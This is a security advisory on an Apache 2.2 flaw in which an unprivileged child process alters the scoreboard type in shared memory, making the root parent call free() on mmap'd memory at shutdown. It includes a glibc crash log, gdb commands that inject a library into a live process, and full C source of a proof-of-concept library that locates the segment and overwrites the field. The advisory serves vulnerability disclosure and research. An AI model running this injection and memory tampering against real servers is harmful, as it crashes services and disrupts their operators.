Apache 2.2 - Scoreboard Invalid Free On Shutdown

Source: http://www.halfdog.net/Security/2011/ApacheScoreboardInvalidFreeOnShutdown/

## Introduction

Apache 2.2 webservers may use a shared memory segment to share child process status information (scoreboard) between the child processes and the parent process running as root. A child running with lower privileges than the parent process might trigger an invalid free in the privileged parent process during parent shutdown by modifying data on the shared memory segment.

## Method

A child process can trigger the bug by changing the value of ap_scoreboard_e sb_type, which resides in the global_score structure on the shared memory segment. The value is usually 2 (SB_SHARED):

typedef struct {
    int             server_limit;
    int             thread_limit;
    ap_scoreboard_e sb_type;
    ap_generation_t running_generation; /* the generation of children which
                                         * should still be serving requests.
                                         */
    apr_time_t restart_time;
    int             lb_limit;
} global_score;

When changing the scoreboard type of a shared memory segment to something else, the root process will try to release the shared memory using free during normal shutdown. Since the memory was allocated using mmap, not malloc, the call to free from ap_cleanup_scoreboard (server/scoreboard.c) triggers abort within libc.

apr_status_t ap_cleanup_scoreboard(void *d)
{
    if (ap_scoreboard_image == NULL) {
        return APR_SUCCESS;
    }
    if (ap_scoreboard_image->global->sb_type == SB_SHARED) {
        ap_cleanup_shared_mem(NULL);
    }
    else {
        free(ap_scoreboard_image->global);
        free(ap_scoreboard_image);
        ap_scoreboard_image = NULL;
    }
    return APR_SUCCESS;
}

Abort output is written to apache default error log:

[Fri Dec 30 10:19:57 2011] [notice] caught SIGTERM, shutting down
*** glibc detected *** /usr/sbin/apache2: free(): invalid pointer: 0xb76f4008 ***
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x6ebc2)[0x17ebc2]
/lib/i386-linux-gnu/libc.so.6(+0x6f862)[0x17f862]
/lib/i386-linux-gnu/libc.so.6(cfree+0x6d)[0x18294d]
/usr/sbin/apache2(ap_cleanup_scoreboard+0x29)[0xa57519]
/usr/lib/libapr-1.so.0(+0x19846)[0x545846]
/usr/lib/libapr-1.so.0(apr_pool_destroy+0x52)[0x5449ec]
/usr/sbin/apache2(+0x1f063)[0xa52063]
/usr/sbin/apache2(main+0xeea)[0xa51e3a]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0x129113]
/usr/sbin/apache2(+0x1ef3d)[0xa51f3d]
======= Memory map: ========
00110000-00286000 r-xp 00000000 08:01 132367

To reproduce, attach to a www-data (non-root) child process and increment the value at offset 0x10 in the shared memory segment. The search and replace can also be accomplished by compiling LibScoreboardTest.c (http://www.halfdog.net/Security/2011/ApacheScoreboardInvalidFreeOnShutdown/LibScoreboardTest.c) and loading it into a child process using gdb --pid [childpid] and following commands:

set *(int*)($esp+4)="/var/www/libExploit.so"
set *(int*)($esp+8)=1
set $eip=*__libc_dlopen_mode
continue

Without gdb, the mod_setenv exploit demo (2nd attempt) (http://www.halfdog.net/Security/2011/ApacheModSetEnvIfIntegerOverflow/DemoExploit.html) could be used to load the code.


--- LibScoreboardTest.c ---
/** gcc -Wall -c LibScoreboardTest.c
 *  ld -shared -Bdynamic LibScoreboardTest.o -L/lib -lc -o LibScoreboardTest.so
 */

#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

extern void _init() {
  int	fd=-1, pos;
  char	mmapData[1<<16];
  int	mmapDataLen;
  char	str[1024];

  char*	sharedSegStart=NULL;
  char* sharedSegEnd=NULL;
  int	sharedSegLen;
  int	result;

  fd=open("/proc/self/maps", O_RDONLY);
  mmapDataLen=0;
  while((result=read(fd, mmapData+mmapDataLen, sizeof(mmapData)-mmapDataLen))>0) mmapDataLen+=result;
  close(fd);

  fd=open("/tmp/testlog", O_RDWR|O_CREAT, 0777);
  result=sprintf(str, "Read %d\n", mmapDataLen);
  write(fd, str, result);
  write(fd, mmapData, mmapDataLen);

  for(pos=0; pos<mmapDataLen;) {
    result=sscanf(mmapData+pos, "%8x-%8x rw-s %8x ",
        (int*)&sharedSegStart, (int*)&sharedSegEnd, &result);
    if(result==3) break;
    while((pos<mmapDataLen)&&(mmapData[pos]!='\n')) pos++;
    if(pos==mmapDataLen) break;
    pos++;
  }
  result=sprintf(str, "Shared seg data 0x%x-0x%x\n", (int)sharedSegStart,
      (int)sharedSegEnd);
  write(fd, str, result);

  if(pos==mmapDataLen) return;

// Set ap_scoreboard_e sb_type=3
  *(int*)(sharedSegStart+0x10)=3;
  exit(0);
}
--- EOF --